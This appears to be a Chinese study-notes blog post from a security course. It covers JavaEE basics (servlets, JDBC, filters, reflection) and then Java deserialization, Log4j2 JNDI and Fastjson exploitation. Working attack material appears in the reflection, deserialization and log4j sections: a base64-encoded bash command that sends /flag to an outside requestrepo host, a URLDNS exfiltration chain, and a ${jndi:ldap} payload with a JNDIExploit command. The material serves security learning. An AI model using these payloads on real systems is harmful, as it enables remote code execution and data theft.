4. 小迪安全v2023笔记 javaEE应用
4. 小迪安全v2023笔记 javaEE应用
大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。
若有冒犯,麻烦私信移除。
默认有java基础。
文章目录
- 4. 小迪安全v2023笔记 javaEE应用
- 0. 一些概念
- 1. javaEE环境配置
- 2. Servlet路由,get与post
- 3. JDBC mybatis hibernate
- 1. JDBC配置与使用
- 2. Filter过滤器
- 3. Listener监听器
- 4. java反射
- 1. Java反射-Class对象类的获取
- 2. 利用反射获取成员变量
- 3. 不安全命令执行
- 5. java反序列化初识
- 1. 重写readObject方法
- 2. URLDNS链
- 6. DNSlog
- 7. 一些第三方组件
- 1. maven与log4j配置
- 2. log4j2远程代码执行
- 3. fastjson
- 参考文章
0. 一些概念
Servlet是运行在Web服务器上的程序,它作为来自Web浏览器或其他http客户端的请求和http服务器上的数据库或应用程序之间的中间层。使用servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。
tomcat是免费开源的轻量级服务器。当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。
1. javaEE环境配置
下载安装配置好以下软件
jdk7 (jdk-17后面的复现不了)
mysql 8.0
navicat
tomcat 8.5
- 记得去conf的server.xml里把8080端口改成9528
- 去conf的logging.properties里修改
java.util.logging.ConsoleHandler.encoding = GBK
- 系统环境变量
CATALINA_HOME
设置为自己tomcat路径,系统环境变量Path
里添加%CATALINA_HOME%\bin
。 - 在cmd里输入
startup.bat
,然后访问127.0.0.1:9528
。
eclipse IDE for Enterprise Java and Web Developers
Eclipse开发JavaEE环境搭建 IT晓夏
web.xml 配置映射关系
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping>
</web-app>
src/main/java/com/example/demo1/test1.java
package com.example.demo1;
import javax.servlet.http.*;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;@WebServlet(name="test1",value="/test")
public class test1 extends HttpServlet{@Overrideprotected void doGet(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{//super.doGet(req, resp);System.out.println("hello world");}
}
2. Servlet路由,get与post
生命周期
实例化->初始化->服务->消亡
src/main/java/com/example/demo1/test1.java
package com.example.demo1; import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter; @WebServlet(name = "test1", urlPatterns = {"/test"})
public class test1 extends HttpServlet { @Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");}@Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, resp);System.out.println("Http servlet");}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, res);System.out.println("servlet service");}@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); } else { out.println("No name parameter found."); } }@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); System.out.print(name);resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); }}@Overridepublic void destroy() {// TODO Auto-generated method stubsuper.destroy();System.out.println("destroy");}
}
访问http://127.0.0.1:9528/javaee1/test
3. JDBC mybatis hibernate
JDBC是Java用于数据库访问的基础API,MyBatis是一个持久层框架,它封装了JDBC并提供灵活的SQL映射功能,使开发者能更方便地操作数据库;而Hibernate则是一个完整的ORM框架,它允许开发者以面向对象的方式操作数据库,自动生成和执行SQL语句,提高了开发效率。
1. JDBC配置与使用
1.访问https://mvnrepository.com,下载数据库驱动mysql-connector-java.jar
2.将jar拖进WEB-INF的lib目录下。
3.在Eclipse中,右键点击webapp,选择 Build Path
-> Configure Build Path...
。
4.选择Libraries
选项,点击add External jars
,添加jar。
MysqlServlet.java 普通sql语句
package com.example.demo1;
import java.sql.*;
public class MysqlServlet {//8.0以下//static final String JDBC_DRIVER="com.mysql.jdbc.Driver";//static final String DB_URL="jdbc:mysql://localhost:3306/user";//mysql8.0以上static final String JDBC_DRIVER="com.mysql.cj.jdbc.Driver";static final String DB_URL="jdbc:mysql://localhost:3306/user?useSSL=false&serverTimezone=UTC";//用户名,密码static final String USER ="root";static final String PASS ="123456";public static void main(String[] args) {Connection conn=null;Statement stmt=null;ResultSet rs=null;try {// 加载并注册JDBC驱动类Class.forName(JDBC_DRIVER);// 建立数据库连接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 操作数据库...stmt=conn.createStatement();String sql = "SELECT * FROM t_user"; rs = stmt.executeQuery(sql); // 处理查询结果,一次一行 while (rs.next()) { System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password")); }// 关闭连接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驱动未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("数据库连接失败");e.printStackTrace();}}
}
预编译写法防sql注入
public static void main(String[] args) {Connection conn=null;PreparedStatement pstmt = null;ResultSet rs=null;try {// 加载并注册JDBC驱动类Class.forName(JDBC_DRIVER);// 建立数据库连接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 查询语句String sql = "SELECT * FROM t_user where id>? and username!=?"; pstmt=conn.prepareStatement(sql);//参数一表示占位符位数(从1开始)pstmt.setInt(1, 1);pstmt.setString(2, "admin");rs = pstmt.executeQuery(); // 处理查询结果 while (rs.next()) { System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password")); }// 关闭连接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驱动未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("数据库连接失败");e.printStackTrace();}}
2. Filter过滤器
XssFilter.java
package com.example.demo1.filter;
import java.io.IOException;import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;@WebFilter("/test2")
public class XssFilter implements Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {//中间件启动后就自动运行System.out.println("xss过滤开启");}@Overridepublic void destroy() {//中间件关闭后就自动运行System.out.println("xss销毁过滤");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {System.out.println("xss正在过滤");HttpServletRequest request2=(HttpServletRequest) request;String name=request2.getParameter("name");if(name!=null && name.contains("<script>")) {System.out.print("存在xss攻击");}else {chain.doFilter(request,response);//放行}}}
test2.java
package com.example.demo1;
import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "test2", urlPatterns = {"/test2"})
public class test2 extends test1 { @Overridepublic void init(ServletConfig config) throws ServletException {//自动调用super.init(config);System.out.println("test2 init");}@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); } else { out.println("No name parameter found."); } out.flush();out.close();}@Override public void destroy() {//当 Servlet 被 Web 服务器移除出服务或者关闭时,自动调用super.destroy();System.out.println("test2 destroy");}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping><servlet><servlet-name>test2</servlet-name><servlet-class>com.example.demo1.test2</servlet-class></servlet><servlet-mapping><servlet-name>test2</servlet-name><url-pattern>/test2</url-pattern></servlet-mapping><filter><filter-name>XssFilter</filter-name><filter-class>com.example.demo1.filter.XssFilter</filter-class></filter><filter-mapping><filter-name>XssFilter</filter-name><url-pattern>/test2</url-pattern></filter-mapping>
</web-app>
获取cookie
Cookie[] cookies=request2.getCookies();
for(Cookie c :cookies) {//遍历cookies数组String cname=c.getName();String cvalue=c.getValue();System.out.println(cname+cvalue);
}
3. Listener监听器
ListenSession.java
package com.example.demo1.Listener;import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//listener不用加url路由
@WebListener
public class ListenSession implements HttpSessionListener{@Overridepublic void sessionCreated(HttpSessionEvent se) {System.out.println("监听器监听到了创建");}@Overridepublic void sessionDestroyed(HttpSessionEvent se) {System.out.println("监听器监听到了销毁");}}
DSession.java
package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "ds", urlPatterns = {"/ds"})
public class DSession extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubSystem.out.println("session销毁");req.getSession().invalidate();}
}
CSession.java
package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "cs", urlPatterns = {"/cs"})
public class CSession extends HttpServlet{@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("创建Session");req.getSession();//创建session}
}
web.xml添加
<servlet><servlet-name>cs</servlet-name><servlet-class>com.example.demo1.CSession</servlet-class></servlet><servlet-mapping><servlet-name>cs</servlet-name><url-pattern>/cs</url-pattern></servlet-mapping> <servlet><servlet-name>ds</servlet-name><servlet-class>com.example.demo1.DSession</servlet-class></servlet><servlet-mapping><servlet-name>ds</servlet-name><url-pattern>/ds</url-pattern></servlet-mapping>
4. java反射
如果项目环境坏了,建议删掉项目,重建一个。
反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。
1. Java反射-Class对象类的获取
//1.根据类名:类名.class
Class userClass =User.class;
//2.根据对象:对象.getClass()
User user=new User();
Class ac=user.getClass();
//3.根据全限定类名:Class.forname("全路径名")
Class ac=Class.forName("com.example.demo1.User");
//4.通过类加载器获取Class对象:
//ClassLoader.getSystemClassLoader().loadClass("com.example.demo1.User");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class ac2=clsload.loadClass("com.example.demo1.User");
要注意的一点,需要把package复制到lib目录下,然后project->clean,build automatically,不然forname函数找不到路径。
User.java
package com.example.demo1;
public class User {public String name="lihua";public int age=15;public User() {// TODO Auto-generated constructor stub}public User(String n,int a) {// TODO Auto-generated constructor stubthis.name=n;this.age=a;}
}
GetClass.java
package com.example.demo1;
import java.lang.Class;
public class GetClass {public static void main(String[] args) {System.out.println(666);try{ClassLoader clsload=ClassLoader.getSystemClassLoader();Class ac2=clsload.loadClass("com.example.demo1.User");System.out.print(ac2);}catch(Exception e){System.out.print(e);}}
}
2. 利用反射获取成员变量
//Class类中用于获取成员变量的方法
Field[] getFields()://返回所有 公共 成员变量对象的数组
Field[] getDeclaredFields()://返回所有成员变量对象的数组
Field getField(String name)://返回单个公共成员变量对象
Field getDeclaredField(String name)://返回单个成员变量对象//Field 类中用于创建对象的方法
void set(Object obj,Object value):赋值
Object get(Object obj)获取值。//Class类中用于获取构造方法的方法
Constructor<?>[] getConstructors(): 返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors(): 返回所有构造方法对象的数组
Constructor<T>[] getConstructor(Class<?>... parameterTypes): 返回单个公共构造方法对象
Constructor<T>[] getDeclaredConstructor(Class<?>... parameterTypes)://返回单个构造方法对象//Constructor类中用于创建对象的方法
T newInstance(Object... initargs): 根据指定的构造方法创建对象
setAccessible(boolean flag): 设置为true,表示取消访问检查//Class类中用于获取成员方法的方法
Method[] getMethods():返回所有公共成员方法对象的数组,包括继承的
Method[] getDeclaredMethods():返回所有成员方法对象的数组,不包括继承的
Method getMethod(String name, Class<?>... parameterTypes) :返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>... parameterTypes):返回单个成员方法对象//Method类中用于创建对象的方法
Object invoke(Object obj, Object... args):
运行方法
参数一:用obj对象调用该方法
参数二:调用方法的传递的参数(如果没有就不写)
返回值:方法的返回值(如果没有就不写)
GetClass.java修改对应部分
User u=new User();Class ac2=Class.forName("com.example.demo1.User");Field field=ac2.getField("age");Object a=field.get(u);System.out.println(a);//15field.set(u, 44);System.out.print(field.get(u));//44Constructor c1=ac2.getDeclaredConstructor(String.class);//获取构造方法System.out.println(c1);//public com.example.demo1.User(java.lang.String,int)//临时开启对私有的访问c1.setAccessible(true);User uu=(User)c1.newInstance("lisi");System.out.println(uu.name);//lisiUser u2=new User();Method m1=ac2.getDeclaredMethod("ptall",String.class,int.class);m1.invoke(u2,"zzz",66);//zzz 66
User.java 添加类方法
private User(String n) {this.name=n;}public void ptall(String n,int a) {System.out.println(n+" "+a);}
3. 不安全命令执行
原型:
Runtime.*getRuntime*().exec("calc");
该函数不会解析Shell命令或Shell特性(如管道|
、重定向>
、反引号等)。
可以显示调用bash -c
执行子查询
curl http://`cat /flag`.i5yh54u0.requestrepo.cojava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')
反射:
Class ac1=Class.forName("java.lang.Runtime");
Method exec1=ac1.getMethod("exec", String.class);
Method getRuntime1=ac1.getMethod("getRuntime");
Object runtimeObject=getRuntime1.invoke(ac1);
exec1.invoke(runtimeObject, "calc.exe");
5. java反序列化初识
序列化:将内存中的对象压缩成字节流。
反序列化:将字节流转化成内存中的对象。
几种创建的序列化和反序列化协议
- Java内置的writeObject()/readObject()
- Java内置的XMLDecoder()/XMLEncoder()
- Xstream
- SnakeYaml
- FastJson
- Jackson
类实现序列化需满足的条件
- 实现java.io.Serializeble接口
- 该类所有属性必须可序列化
- 如果有一个属性不可序列化,那么这个属性必须注明是短暂的
为什么出现反序列化安全问题
内置原生写法
- 重写readObject方法
- 输出调用toString方法
1. 重写readObject方法
User.java
package com.example.demo1;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User implements Serializable{public String name="lihua";public int age=15;public User() {}public User(String n,int a) {this.name=n;this.age=a;}public String toString() {return "User{"+"name= "+name+" , age= "+age+" }";}public void ptall() {System.out.println(name+" "+age);}private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{//指向正确的defaultReadObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}
}
serializedemo1.java
package com.example.demo1;
import java.io.*;
public class serializedemo1 {public static void main(String[] args)throws IOException {User u =new User("serialize2",63);// 调用方法将User对象序列化并保存到文件 SerializableTest(u);}public static void SerializableTest(Object obj) throws IOException {//将对象obj进行序列化后输出到1.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));oos.writeObject(obj); }
}
Unserializedemo1.java
package com.example.demo1;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class unserializedemo1 {public static void main(String[] args)throws IOException,ClassNotFoundException {//调用下面方法将1.txt反序列化成类对象System.out.println(UnserializableTest("1.txt"));}public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//读取File文件内容进行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}
代码执行,成功弹出计算器。
2. URLDNS链
HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()
hashCode执行结果触发dns请求,如果是执行命令的话就是RCE漏洞。
urldns.java
package com.example.demo1;
import java.util.HashMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
public class urldns implements Serializable{public static void main(String[] args) throws IOException,ClassNotFoundException{HashMap<URL, Integer> hash=new HashMap<>();URL url =new URL("http://whoami.v0taa6.dnslog.cn");//写dnslog.cn给的网址,并把whoami以子域名的形式外带hash.put(url, 1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//将对象obj进行序列化后输出到dns.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj); }public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//读取File文件内容进行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}
攻击脚本ysoserial.jar
6. DNSlog
dnslog.cn
DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。
DNS解析流程
比如SQL注入时,网站响应无回显,可以以dnslog子域名的方式外带SQL结果。
7. 一些第三方组件
Maven能够自动下载项目所需的所有依赖项,并且管理这些依赖的版本,确保项目的构建一致性。
log4j是一个流行的Java日志框架,用于记录应用程序的运行时信息。
1. maven与log4j配置
Maven工程的安装配置及搭建 ChatYU
下载安装apache-maven-3.8.8
添加环境变量MAVEN_HOME
,值为apache-maven-3.8.8
的路径。
环境变量path
添加%MAVEN_HOME%\bin
在apache-maven-3.8.8-bin目录下新建mvn_repository目录。
在apache-maven-3.8.8\conf\settings.xml里修改对应的值,如下。
<localRepository>你的路径/apache-maven-3.8.8-bin/mvn_repository</localRepository>
再修改生效的mirrors标签同下(换源):
<mirrors><mirror><id>alimaven</id><name>aliyun maven</name><url>http://maven.aliyun.com/nexus/content/groups/public/</url><mirrorOf>central</mirrorOf> </mirror><mirror> <id>alimaven</id> <mirrorOf>central</mirrorOf> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/repositories/central/</url> </mirror> </mirrors>
eclipse点击windows->preferences->maven->installations->add。添加完后勾选mvn_repository。
新建maven project,要注意选internal和webapp。
进程卡在33%左右时,需要在console输入Y。
进入mvnrepository.com,搜索apache log4j core
(2.14.1版本)和java servlet api
(3.1.0)。
将使用maven的依赖添加到maven的pom.xml中,然后run as maven test,下载依赖。
pom.xml参考如下
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>mavenexample1.com</groupId><artifactId>maven1</artifactId><packaging>war</packaging><version>0.0.1-SNAPSHOT</version><name>maven1 Maven Webapp</name><url>http://maven.apache.org</url><dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>3.8.1</version><scope>test</scope></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version><scope>provided</scope></dependency></dependencies><build><finalName>maven1</finalName></build>
</project>
java Resources/src/main/java下新建package com.example.demo2
,在package里新建log4jTest.java
。
log4jTest.java
package com.example.demo2;import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");String codeString="${java:os}";logger.error("{}",codeString);}@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); } else { out.println("No name parameter found."); } }
}
web.xml参考如下
<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>maven1</display-name><servlet><servlet-name>log4j</servlet-name><servlet-class>com.example.demo2.log4jTest</servlet-class></servlet><servlet-mapping><servlet-name>log4j</servlet-name><url-pattern>/log4j</url-pattern></servlet-mapping></web-app>
然后把package复制到lib目录下,然后project->clean,build automatically。(让项目能找到你的代码路径)
然后把在中间servers->tomcat v8.5添加maven1,并运行。
查看运行结果
2. log4j2远程代码执行
Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象)。
高版本jdk利用
https://www.cnblogs.com/EddieMurphy-blogs/p/18078943
https://www.cnblogs.com/uf9n1x/p/17343393.html
低版本jdk利用
自行下载JNDIExploit-SNAPSHOT.jar
。https://www.cnblogs.com/Welk1n/p/11701401.html
攻击机 kali linux
java -jar ./JNDI* -C "calc" -A 192.168.10.4
靶机,需要控制eclipse编译时的jdk版本
@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");String code= req.getParameter("code"); PrintWriter out = resp.getWriter(); if (code != null) { out.println("code exists" ); logger.error("{}",code);} else { out.println("No code parameter found."); } }
}
访问网页时传参?code=${jndi:ldap://192.168.10.4:1039/fgf4fp}
各位自行尝试。
3. fastjson
mvn repository 搜索fastjson1 compatible(1.2.24),然后maven代码放进pom.xml,maven test。
fastjsondemo1.java
package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;class fastjsondemo1{public static void main(String[] args) {//u Object 对象User u=new User();//使用fastjson的函数来把对象转为json数据String j1=JSONObject.toJSONString(u);System.out.println(j1);//{"age":15,"name":"lihua"}String j2=JSONObject.toJSONString(u,SerializerFeature.WriteClassName);System.out.println(j2);//{"@type":"com.example.demo2.User","age":15,"name":"lihua"}//json->对象String test="{\"@type\":\"com.example.demo2.User\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject1=JSON.parseObject(test);System.out.println(jsonObject1);//{"name":"lihua","age":15}//若修改@type的值String test1="{\"@type\":\"com.example.demo2.Run1\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject2=JSON.parseObject(test1);System.out.println(jsonObject2);//跳计算器}
}
Run1.java
package com.example.demo2;
import java.io.IOException;
public class Run1 {public Run1( )throws IOException {// TODO Auto-generated constructor stubRuntime.getRuntime().exec("calc");}}
参考文章
-
JAVA安全基础(二)-- 反射机制 小阳
-
JAVA反序列化初食 将遗憾写成歌
-
DNSLog漏洞探测(一)之DNSLog介绍 怰月
-
JNDI注入学习 FlynnAAAA
-
JNDI&RMI&LDAP介绍+log4j分析 enhengzZ
-
Java反序列化:CC1链 详解 Jay 17
相关文章:
4. 小迪安全v2023笔记 javaEE应用
4. 小迪安全v2023笔记 javaEE应用 大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。 若有冒犯,麻烦私信移除。 默认有java基础。 文章目录 4. 小迪安全v2023笔记 javaEE应…...
anaconda修改安装的默认环境
📚博客主页:knighthood2001 ✨公众号:认知up吧 (目前正在带领大家一起提升认知,感兴趣可以来围观一下) 🎃知识星球:【认知up吧|成长|副业】介绍 ❤️如遇文章付费,可先看…...
MySQL 9.0 正式发行Innovation创新版已支持向量
从 MySQL 8.1 开始,官方启用了新的版本模型:MySQL 创新版 (Innovation) 和长期支持版 (LTS)。 根据介绍,两者的质量都已达到可用于生产环境级别。区别在于: 如果希望尝试最新的功能和改进,并喜欢与最新技术保持同步&am…...
基于Java+SpringMvc+Vue技术的智慧校园系统设计与实现
博主介绍:硕士研究生,专注于信息化技术领域开发与管理,会使用java、标准c/c等开发语言,以及毕业项目实战✌ 从事基于java BS架构、CS架构、c/c 编程工作近16年,拥有近12年的管理工作经验,拥有较丰富的技术架…...
【蔬菜网元宇宙】—— 探索农业的未来之旅
在数字化时代的浪潮中,技术和创新不断塑造着我们的生活方式。现在,这种变革已经延伸到了农业领域。蔬菜网,一个专注于农产品供应链的领先平台,自豪地宣布我们正式迈入元宇宙的世界——一个全新的虚拟空间,旨在彻底改变…...
淘宝商品历史价格查询(免费)
当前资料来源于网络,禁止用于商用,仅限于学习。 淘宝联盟里面就可以看到历史价格 并且没有加密 淘宝商品历史价格查询可以通过以下步骤进行: 先下载后,登录app注册账户 打开淘宝网站或淘宝手机App。在搜索框中输入你想要查询的商…...
14-47 剑和诗人21 - 2024年如何打造AI创业公司
2024 年,随着人工智能继续快速发展并融入几乎所有行业,创建一家人工智能初创公司将带来巨大的机遇。然而,在吸引资金、招聘人才、开发专有技术以及将产品推向市场方面,人工智能初创公司也面临着相当大的挑战。 让我来…...
WPF界面设计-更改按钮样式 自定义字体图标
一、下载图标文件 iconfont-阿里巴巴矢量图标库 二、xaml界面代码编辑 文件结构  对应的图标代码 Fonts/#iconfont 对应文件位置 <Window.Resources><ControlTemplate TargetType"Button" x:Key"CloseButtonTemplate"…...
开源项目的机遇与挑战
随着全球经济和科技环境的快速变化,开源软件项目的蓬勃发展成为了开发者社区的热门话题。越来越多的开发者和企业选择参与开源项目,以推动技术创新和实现协作共赢。本文将从开源项目的发展趋势、参与开源的经验分享,以及开源项目的挑战三个方…...
Linux实现CPU物理隔离
文章目录 背景使用 taskset 命令使用 cgroups案例 背景 在 Linux 上实现 CPU 的物理隔离(也称为 CPU 隔离或 CPU pinning),可以通过将特定的任务或进程绑定到特定的 CPU 核心来实现。这可以提高系统性能,尤其是在需要实时响应的应…...
springer latex模板参考文献不显示
原因 his is BibTeX, Version 0.99d (TeX Live 2024) The top-level auxiliary file: sn-article.aux I couldn’t open style file sn-mathphys-num.bst —line 2 of file sn-article.aux : \bibstyle{sn-mathphys-num : } I’m skipping whatever remains of this command I…...
使用Vue3、Pinia和Vite5打造高度还原的抖音仿制项目
douyin-vue 是一个模仿 抖音|TikTok 的移动端短视频项目。Vue 在移动端的"最佳实践",媲美原生 App 丝滑流畅的使用体验。使用了最新的 Vue 技术栈,基于 Vue3、Vite5 、Pinia实现。数据保存在项目本地,通过 axios-mock-adapter 库拦…...
stm32基本定时器
Driver_TIM6.c 需要注意立即进入中断问题,原因是预分频寄存器并没有更新预分频系数。 #include "Driver_TIM6.h" #include "Delay.h" /*** description: 给定时器6进行初始化* return {*}*/ void Driver_TIM6_Init(void) {/* 1. 给定时器6开启…...
网络安全基础-1
棱角社区:[~]#棱角 ::Edge.Forum* 专业名词 操作系统 文件下载 linux:下载命令 1. wget命令 wget是一个非常强大的命令行下载工具,支持HTTP、HTTPS、FTP等多种协议,并具备断点续传、递归下载等功能。 基本用法: 下载文件到…...
SSH远程访问及控制
